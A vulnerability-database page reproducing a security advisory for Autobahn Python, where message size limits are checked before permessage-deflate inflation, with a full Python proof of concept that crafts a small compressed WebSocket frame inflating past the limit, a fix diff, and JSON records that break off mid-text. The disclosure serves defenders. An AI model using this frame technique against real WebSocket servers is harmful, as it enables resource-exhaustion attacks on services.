Vulnerability-Lookup

GHSA-HXP9-W8X3-P566

Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37

Summary

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Details

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False

             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "autobahn"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "crossbar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:37:28Z",
    "nvd_published_at": "2026-09-18T20:17:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n    raise SystemExit(\"usage: autobahn_deflate_limit_poc.py \u003cautobahn-python-source-dir\u003e\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n    def debug(self, *args, **kwargs):\n        pass\n\n    def warn(self, *args, **kwargs):\n        pass\n\n    def error(self, *args, **kwargs):\n        pass\n\n\nclass _Timer:\n    def call_later(self, *args, **kwargs):\n        return self\n\n    def cancel(self):\n        pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n    lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n    @classmethod\n    def from_text(cls, text):\n        return cls(text)\n\n    def __init__(self, text):\n        self._text = text\n\n    def to_uri(self):\n        return self\n\n    def normalize(self):\n        return self\n\n    def to_text(self):\n        return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n    pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n    isServer = True\n    requireMaskedClientFrames = True\n    maskServerFrames = False\n    utf8validateIncoming = True\n    applyMask = True\n    maxFramePayloadSize = 128\n    maxMessagePayloadSize = 128\n    autoFragmentSize = 0\n    failByDrop = True\n    echoCloseCodeReason = False\n    openHandshakeTimeout = 5\n    closeHandshakeTimeout = 1\n    tcpNoDelay = True\n    autoPingInterval = 0\n    autoPingTimeout = 0\n    autoPingSize = 12\n    autoPingRestartOnAnyTraffic = True\n    logOctets = False\n    logFrames = False\n    trackTimings = False\n    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n    webStatus = False\n    perMessageCompressionAccept = staticmethod(lambda offer: None)\n    serveFlashSocketPolicy = False\n    flashSocketPolicy = \"\"\n    allowedOrigins = [\"*\"]\n    allowedOriginsPatterns = []\n    allowNullOrigin = True\n    maxConnections = 0\n    trustXForwardedFor = 0\n    _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n    def __init__(self):\n        super().__init__()\n        self.delivered = None\n\n    def _onMessageBegin(self, isBinary):\n        self.onMessageBegin(isBinary)\n\n    def _onMessageFrameBegin(self, length):\n        self.onMessageFrameBegin(length)\n\n    def _onMessageFrameData(self, payload):\n        self.onMessageFrameData(payload)\n\n    def _onMessageFrameEnd(self):\n        self.onMessageFrameEnd()\n\n    def _onMessageFrame(self, payload):\n        self.onMessageFrame(payload)\n\n    def _onMessageEnd(self):\n        self.onMessageEnd()\n\n    def _onMessage(self, payload, isBinary):\n        self.delivered = payload\n\n    def sendData(self, data, sync=False, chopsize=None):\n        pass\n\n    def dropConnection(self, abort=True):\n        self.droppedByMe = True\n        self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n    compressed = compressed[:-4]\n    mask = b\"\\x11\\x22\\x33\\x44\"\n    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n    if len(compressed) \u003c= 125:\n        header = bytes([0xC1, 0x80 | len(compressed)])\n    elif len(compressed) \u003c= 65535:\n        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n    else:\n        raise RuntimeError(\"compressed fixture too large\")\n    return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len \u003e= limit:\n    raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n    is_server=True,\n    server_no_context_takeover=False,\n    client_no_context_takeover=False,\n    server_max_window_bits=15,\n    client_max_window_bits=15,\n    mem_level=8,\n    max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len \u003e limit and not proto.wasMaxMessagePayloadSizeExceeded:\n    print(\n        \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n        f\"delivered_length={delivered_len} configured_limit={limit} \"\n        f\"compressed_length={compressed_len}\"\n    )\n    raise SystemExit(0)\n\nprint(\n    \"guarded \"\n    f\"delivered_length={delivered_len} configured_limit={limit} \"\n    f\"compressed_length={compressed_len} \"\n    f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n             if self.state == WebSocketProtocol.STATE_OPEN:\n                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+            if self._isMessageCompressed:\n+                self.message_data_total_length += uncompressedLen - compressedLen\n+                if 0 \u003c self.maxMessagePayloadSize \u003c self.message_data_total_length:\n+                    self.wasMaxMessagePayloadSizeExceeded = True\n+                    self._max_message_size_exceeded(\n+                        self.message_data_total_length,\n+                        self.maxMessagePayloadSize,\n+                        f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+                    )\n+                    return False\n \n             # incrementally validate UTF-8 payload\n             #\n```\n\n*Reported by Team Atlanta.*",
  "id": "GHSA-hxp9-w8x3-p566",
  "modified": "2026-09-22T20:37:28Z",
  "published": "2026-09-22T20:37:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/pull/1916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crossbario/autobahn-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation"
}

BREW-MAGIC-WORMHOLE-CVE-… (GHSA-HXP9-W8X3-P566)

Vulnerability from osv_homebrew – Published: 2026-09-23 09:18 – Updated: 2026-09-23 09:18 – Source website

Summary

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Details

Summary

Details

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False

             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Severity

5.3 (Medium)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

URL

Type

	https://github.com/crossbario/autobahn-python/sec…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-77528	ADVISORY
	https://github.com/crossbario/autobahn-python/pull/1916	WEB
	https://github.com/crossbario/autobahn-python/com…	WEB
	https://github.com/crossbario/autobahn-python	PACKAGE
	https://github.com/crossbario/autobahn-python/rel…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "autobahn",
        "resource_purl": "pkg:pypi/autobahn@26.6.1",
        "upstream_fixed_in": "26.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "magic-wormhole",
        "purl": "pkg:brew/magic-wormhole"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/autobahn@26.6.1",
        "name": "autobahn",
        "resource": "autobahn",
        "strategy": "registry",
        "subject_version": "26.6.1"
      }
    ]
  },
  "details": "### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n    raise SystemExit(\"usage: autobahn_deflate_limit_poc.py \u003cautobahn-python-source-dir\u003e\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n    def debug(self, *args, **kwargs):\n        pass\n\n    def warn(self, *args, **kwargs):\n        pass\n\n    def error(self, *args, **kwargs):\n        pass\n\n\nclass _Timer:\n    def call_later(self, *args, **kwargs):\n        return self\n\n    def cancel(self):\n        pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n    lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n    @classmethod\n    def from_text(cls, text):\n        return cls(text)\n\n    def __init__(self, text):\n        self._text = text\n\n    def to_uri(self):\n        return self\n\n    def normalize(self):\n        return self\n\n    def to_text(self):\n        return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass 